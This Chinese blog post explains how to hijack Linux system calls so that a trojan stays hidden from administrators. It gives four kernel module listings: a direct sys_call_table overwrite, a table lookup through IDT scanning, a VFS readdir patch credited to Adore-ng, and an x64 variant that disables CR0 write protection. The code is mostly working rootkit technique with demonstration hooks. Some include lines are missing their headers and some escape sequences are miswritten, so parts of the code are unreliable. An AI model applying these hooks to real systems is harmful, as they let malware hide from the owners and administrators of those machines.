如果一个木马要隐藏起来,不被系统管理员发现。截获系统调用似乎是必须的。大部分情况下,通过修改系统调用表来实现系统调用的劫持。下面是一个典型的截获系统调用的模块:
模块一:
- #include <linux/module.h>
-
#include <linux/kernel.h>
-
#include <asm/unistd.h>
-
#include <sys/syscall.h>
-
#include <linux/types.h>
-
#include <linux/dirent.h>
-
#include <linux/string.h>
-
#include <linux/fs.h>
-
#include <linux/malloc.h>
-
MODULE_LICENSE("GPL");
-
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
-
int (*orig_mkdir)(const char *path); /*the original systemcall*/
-
int hacked_mkdir(const char *path)
-
{
-
return 0; /*everything is ok, but he new systemcall does nothing*/
-
}
-
int init_module(void) /*module setup*/
-
{
-
orig_mkdir=sys_call_table[SYS_mkdir];
-
sys_call_table[SYS_mkdir]=hacked_mkdir;
-
return 0;
-
}
-
void cleanup_module(void) /*module shutdown*/
-
{
-
sys_call_table[SYS_mkdir]=orig_mkdir;
-
/*set mkdir syscall to the origal one*/
-
}
用这种方法实现系统调用有个前提,就是系统必须导出sys_call_table内核符号,但是在2.6内核和有些2.4内核的系统(比如redhat as 3)中,sys_call_table不再导出。也就是说模块中不能再通过简单的extern void *sys_call_table[];来获得系统调用表地址。所幸的是,即使内核不导出sys_call_table,也可以在内存中找到它的地址,下面是它的实现方法:
模块二:(2.4和2.6内核测试通过)
- #include
- #include
- #include
- #include
- #include
- MODULE_LICENSE("GPL");
- MODULE_AUTHOR("xunil@bmy");
- MODULE_DESCRIPTION("Different from others, this module automatically locate the entry of
- sys_call_table !");
- unsigned long *sys_call_table=NULL;
- asmlinkage int (*orig_mkdir)(const char *,int);
- struct _idt
- {
- unsigned short offset_low,segment_sel;
- unsigned char reserved,flags;
- unsigned short offset_high;
- };
- unsigned long *getscTable(){
- unsigned char idtr[6],*shell,*sort;
- struct _idt *idt;
- unsigned long system_call,sct;
- unsigned short offset_low,offset_high;
- char *p;
- int i;
-
-
-
- __asm__("sidt %0" : "=m" (idtr));
-
-
- idt=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
- offset_low = idt->offset_low;
- offset_high = idt->offset_high;
- system_call=(offset_high<<16)|offset_low;
-
- shell=(char *)system_call;
- sort="/xff/x14/x85";
-
-
- for(i=0;i<(100-2);i++)
- if(shell[i]==sort[0]&&shell[i+1]==sort[1]&&shell[i+2]==sort[2])
- break;
- p=&shell[i];
- p+=3;
- sct=*(unsigned long*)p;
- return (unsigned long*)(sct);
- }
- asmlinkage int hacked_mkdir(const char * pathname, int mode){
- printk("PID %d called sys_mkdir !/n",current->pid);
- return orig_mkdir(pathname,mode);
- }
- static int __init find_init(void){
- sys_call_table = getscTable();
- orig_mkdir=(int(*)(const char*,int))sys_call_table[__NR_mkdir];
- sys_call_table[__NR_mkdir]=(unsigned long)hacked_mkdir;
- return 0;
- }
- static void __exit find_cleanup(void){
- sys_call_table[__NR_mkdir]=(unsigned long)orig_mkdir;
- }
- module_init(find_init);
- module_exit(find_cleanup);
getscTable()是在内存中查找sys_call_table地址的函数。
每一个系统调用都是通过int 0x80中断进入核心,中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说,操作系统会调用system_call中断服务程序。system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。idtr寄存器指向中断描述符表的起始地址,用__asm__ ("sidt %0" : "=m" (idtr));指令得到中断描述符表起始地址,从这条指令中得到的指针可以获得int 0x80中断服描述符所在位置,然后计算出system_call函数的地址。反编译一下system_call函数可以看到在system_call函数内,是用call sys_call_table指令来调用系统调用函数的。
因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以获得系统调用表的入口地址了。
对于截获文件系统相关的系统调用,Adore-ng rootkit提供了一种新的方法。简单的说,就是通过修改vfs文件系统的函数跳转表来截获系统调用,这种方法不用借助于系统调用表。
下面是它的实现方法:
模块三:(2.4和2.6内核测试通过)
- #include
- #include
- #include
- #include
- #include
- #include
- MODULE_AUTHOR("xunil@BMY");
- MODULE_DESCRIPTION("By utilizing the VFS filesystem, this module can capturesystem calls.");
- MODULE_LICENSE("GPL");
- char *root_fs="/";
- typedef int (*readdir_t)(struct file *,void *,filldir_t);
- readdir_t orig_root_readdir=NULL;
- int myreaddir(struct file *fp,void *buf,filldir_t filldir)
- {
- int r;
- printk("<1>You got me partner!/n");
- r=orig_root_readdir(fp,buf,filldir);
- return r;
- }
- int patch_vfs(const char *p,readdir_t *orig_readdir,readdir_t new_readdir)
- {
- struct file *filep;
- filep=filp_open(p,O_RDONLY,0);
- if(IS_ERR(filep))
- return -1;
- if(orig_readdir)
- *orig_readdir=filep->f_op->readdir;
- filep->f_op->readdir=new_readdir;
- filp_close(filep,0);
- return 0;
- }
- int unpatch_vfs(const char *p,readdir_t orig_readdir)
- {
- struct file *filep;
- filep=filp_open(p,O_RDONLY,0);
- if(IS_ERR(filep))
- return -1;
- filep->f_op->readdir=orig_readdir;
- filp_close(filep,0);
- return 0;
- }
- static int patch_init(void)
- {
- patch_vfs(root_fs,&orig_root_readdir,myreaddir);
- printk("<1>VFS is patched!/n");
- return 0;
- }
- static void patch_cleanup(void)
- {
- unpatch_vfs(root_fs,orig_root_readdir);
- printk("<1>VFS is unpatched!/n");
- }
- module_init(patch_init);
- module_exit(patch_cleanup);
-------------------------------------------------------------------------------------------------------------------------------------------
下面补充下x64的系统调用劫持。
和x86相比,x64的系统调用劫持有以下变化:
1、搜索的字符串不同:x64需要搜索的字符串是"/xff/x14/xc5";
2、cr0寄存器是64位的,在打开、关闭页面读写权限时,要使用64位的掩码,高32为全是f
3、在获得sys_call_table地址时需要和0xffffffff00000000相或。否则可能宕机。
- #include <linux/kernel.h>
-
#include <linux/init.h>
-
#include <linux/module.h>
-
#include <asm/uaccess.h>
-
#include <asm/fcntl.h>
-
#include <asm/unistd.h>
-
#include <asm/ia32_unistd.h>
-
#include <asm/msr.h>
-
unsigned long *sys_table = NULL;
-
asmlinkage int (*orig_mkdir)(const char *,int);
-
static void *memmem(const void *haystack, size_t haystack_len,
-
const void *needle, size_t needle_len);
-
asmlinkage int fsp_mkdir(const char * pathname, int mode)
-
{
-
printk(" I have hook the syscall ,hoho/n");
-
//return orig_mkdir(pathname,mode);
-
return 0;
-
}
-
static unsigned long get_syscall_table_long(void)
-
{
-
#define OFFSET_SYSCALL 200
-
unsigned long syscall_long, retval;
-
char sc_asm[OFFSET_SYSCALL];
-
rdmsrl(MSR_LSTAR, syscall_long);
-
memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL);
-
retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "/xff/x14/xc5", 3);
-
if ( retval != 0 ) {
-
retval = (unsigned long) ( * (unsigned long *)(retval+3) );
-
} else {
-
printk("long mode : memmem found nothing, returning NULL:(");
-
retval = 0;
-
}
-
#undef OFFSET_SYSCALL
-
return retval;
-
}
-
static void *memmem(const void *haystack, size_t haystack_len,
-
const void *needle, size_t needle_len)
-
{
-
const char *begin;
-
const char *const last_possible = (const char *) haystack + haystack_len - needle_len;
-
if (needle_len == 0){
-
/* The first occurrence of the empty string is deemed to occur at
-
the beginning of the string. */
-
return (void *) haystack;
-
}
-
if (__builtin_expect(haystack_len < needle_len, 0)){
-
return NULL;
-
}
-
for (begin = (const char *) haystack; begin <= last_possible; ++begin)
-
{
-
if (begin[0] == ((const char *) needle)[0]
-
&& !memcmp((const void *) &begin[1],
-
(const void *) ((const char *) needle + 1),
-
needle_len - 1)){
-
return (void *) begin;
-
}
-
}
-
return NULL;
-
}
-
unsigned int clear_and_return_cr0(void)
-
{
-
unsigned long cr0 = 0;
-
unsigned long ret;
-
asm volatile ("movq %%cr0, %%rax"
-
: "=a"(cr0)
-
);
-
ret = cr0;
-
/* clear the 20 bit of CR0, a.k.a WP bit */
-
cr0 &= 0xfffffffffffeffff;
-
asm volatile ("movq %%rax, %%cr0"
-
:
-
: "a"(cr0)
-
);
-
return ret;
-
}
-
void setback_cr0(unsigned long val)
-
{
-
asm volatile ("movq %%rax, %%cr0"
-
:
-
: "a"(val)
-
);
-
}
-
static int init_sys_call_table(void)
-
{
-
unsigned long orig_cr0 = clear_and_return_cr0();
-
sys_table = (unsigned long *) get_syscall_table_long();
-
sys_table = (unsigned long)sys_table | 0xffffffff00000000;
-
if (sys_table == 0){
-
printk("sys_table == 0/n");
-
return -1;
-
}
-
orig_mkdir = (asmlinkage int(*)(const char*,int))sys_table[__NR_mkdir];
-
sys_table[__NR_mkdir] = (unsigned long)fsp_mkdir;
-
setback_cr0(orig_cr0);
-
return 0;
-
}
-
static void clean_sys_call_table(void)
-
{
-
unsigned long orig_cr0 = clear_and_return_cr0();
-
sys_table[__NR_mkdir] = (unsigned long)orig_mkdir;
-
setback_cr0(orig_cr0);
-
return ;
-
}
-
static int __init init_64mod(void)
-
{
-
init_sys_call_table();
-
return 0;
-
}
-
static void __exit exit_64mod(void)
-
{
-
clean_sys_call_table();
-
}
-
module_init(init_64mod);
-
module_exit(exit_64mod);
-
MODULE_AUTHOR("yaogang@nsfocus.com");
阅读(1024) | 评论(0) | 转发(0) |